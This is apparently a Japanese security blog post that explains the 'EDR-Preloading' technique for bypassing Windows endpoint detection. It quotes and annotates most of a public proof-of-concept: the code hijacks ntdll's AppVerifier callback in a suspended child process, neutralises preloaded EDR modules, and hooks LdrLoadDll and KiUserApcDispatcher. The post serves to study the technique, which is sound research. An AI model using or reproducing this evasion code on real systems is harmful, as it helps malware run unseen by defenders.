#163 EDR-Preloading
あけましておめでとうございます。2025年もセキュリティ頑張ります。
EDRバイパスの手法、EDR-Preloadingに関する記事を読みました。
簡単に言えば、EDRのDLLがプロセスにロードされる前に、好き放題しようというのがコンセプトです。似た手法として、Early Bird APC InjectionやTLS Callbackがありますが、これらは長らく使われてきたので、EDR側も対策を講じています。EDR Preloadingは、あまり注目されていないAppVerifier Callbackを使うことでEDRをかいくぐります。
流れ
AppVerifier Callbackのポインタを探す
Callbackが任意コードを実行できるようセットアップする
Callbackを実行し、EDRのDLLがロードされないようにする
コード
PoCが公開されています。
メインの処理を追ってみましょう。
void EDRPreloader(char* file_path) {
PROCESS_INFORMATION pi = { 0 };
STARTUPINFOA si = { 0 };
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
HMODULE kernel32 = GetModuleHandleA("kernel32.dll");
初期化ののち、AppVerifier Callbackのポインタを取得します。
// find the address of ntdll!AvrfpAPILookupCallbacksEnabled
ULONG_PTR avrfp_address = find_avrfp_address(GetSectionBase((ULONG_PTR)ntdll, ".mrdata"));
if (!avrfp_address) {
printf("failed to find address of ntdll!AvrfpAPILookupCallbackRoutine\n");
return;
}
この後で、EDRのDLLがロードされていない子プロセスを立ち上げます。そこではほかのDLLもほとんどロードされていない状態なので、先にAPIのポインタを探しておきます。
// we can't call GetProcAddress() in the child process due to kernel32 not being loaded, so we'll resolve ahead of time
// we could always implement a custom GetModuleHandle() and GetProcAddress() equivalent, but why.
g_ptr_table.NtProtectVirtualMemory = (t_NtProtectVirtualMemory)GetProcAddress(ntdll, "NtProtectVirtualMemory");
g_ptr_table.NtAllocateVirtualMemory = (t_NtAllocateVirtualMemory)GetProcAddress(ntdll, "NtAllocateVirtualMemory");
g_ptr_table.LdrLoadDll = (t_LdrLoadDll)GetProcAddress(ntdll, "LdrLoadDll");
g_ptr_table.NtContinue = (t_NtContinue)GetProcAddress(ntdll, "NtContinue");
g_ptr_table.KiUserApcDispatcher = (t_NtContinue)GetProcAddress(ntdll, "KiUserApcDispatcher");
g_ptr_table.OutputDebugStringW = (t_OutputDebugStringW)GetProcAddress(kernel32, "OutputDebugStringW");
サスペンド状態で子プロセスを立ち上げます。ここでさっき用意したAPIのポインタも渡してあげます。
si.cb = sizeof(si);
// start a second copy of or process in a suspended state so we can set up our callback safely
if (!CreateProcessA(NULL, file_path, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("C() failed, error: %d\n", GetLastError());
}
// overwrite the g_ptr_table in the child process with the already initialized one
if (!WriteProcessMemory(pi.hProcess, &g_ptr_table, &g_ptr_table, sizeof(PTR_TABLE), NULL)) {
printf("Write 1 failed, error: %d\n", GetLastError());
}
AppVerifier CallbackでLdrGetProcedureAddressCallbackが実行されるようにセットアップします。
// ntdll pointer are encoded using the system pointer cookie located at SharedUserData!Cookie
LPVOID callback_ptr = encode_system_ptr(&LdrGetProcedureAddressCallback);
// set ntdll!AvrfpAPILookupCallbackRoutine to our encoded callback address
if (!WriteProcessMemory(pi.hProcess, (LPVOID)(avrfp_address + 8), &callback_ptr, sizeof(ULONG_PTR), NULL)) {
printf("Write 2 failed, error: %d\n", GetLastError());
}
// set ntdll!AvrfpAPILookupCallbacksEnabled to TRUE
uint8_t bool_true = 1;
if (!WriteProcessMemory(pi.hProcess, (LPVOID)avrfp_address, &bool_true, 1, NULL)) {
printf("Write 3 failed, error: %d\n", GetLastError());
}
LdrGetProcedureAddressCallbackは以下のようになっています。
これが実行されるより前にロードされたEDRを無効化
LdrLoadDllをHook(EDRのDLLが読み込まれるのをブロック)
KiUserApcDispatcherをHook(EDRがAPCにQueueするのをブロック)
LPVOID WINAPI LdrGetProcedureAddressCallback(LPVOID dll_base, LPVOID caller, LPVOID func_addr) {
static BOOL hook_placed = FALSE;
if (!hook_placed) {
hook_placed = TRUE;
// The PsSetLoadImageNotifyRoutine() callback for ntdll (and maybe kernel32) can be fired slightly before our callback.
// as a result, some EDR DLLs could be mapped but not yet initialized. To counter this we'll replace the their entrypoints.
DisablePreloadedEdrModules();
// we'll hook LdrLoadDll() just for debugging purposes (we can use it to block DLL loads, but shouldn't need to).
HookFunction(g_ptr_table.LdrLoadDll, LdrLoadDllHook, (LPVOID*)&OriginalLdrLoadDll);
// we'll hook KiUserApcDispatcher() to prevent any APCs being queued into our process from the EDR's kernel driver.
HookFunction(g_ptr_table.KiUserApcDispatcher, KiUserApcDispatcher, NULL);
}
return func_addr;
}
最後に子プロセスが実行されます。
// resume the process
ResumeThread(pi.hThread);
}
こうして、EDRの監視をはずれたプロセスを立ち上げることができます。
ブログでは、Windows10 x64のみで検証したとのことでしたが、AppVerifier Callbackのポインタのオフセットさえわかれば、ほかのバージョンでも使えると書いてあります。
まとめ
Early Bird APC Injectionに続き、EDR-Preloadingについて理解を深めました。次は、これらを組み合わせたEarly Cascade Injectionについて調べたいと思っています。続く…
EOF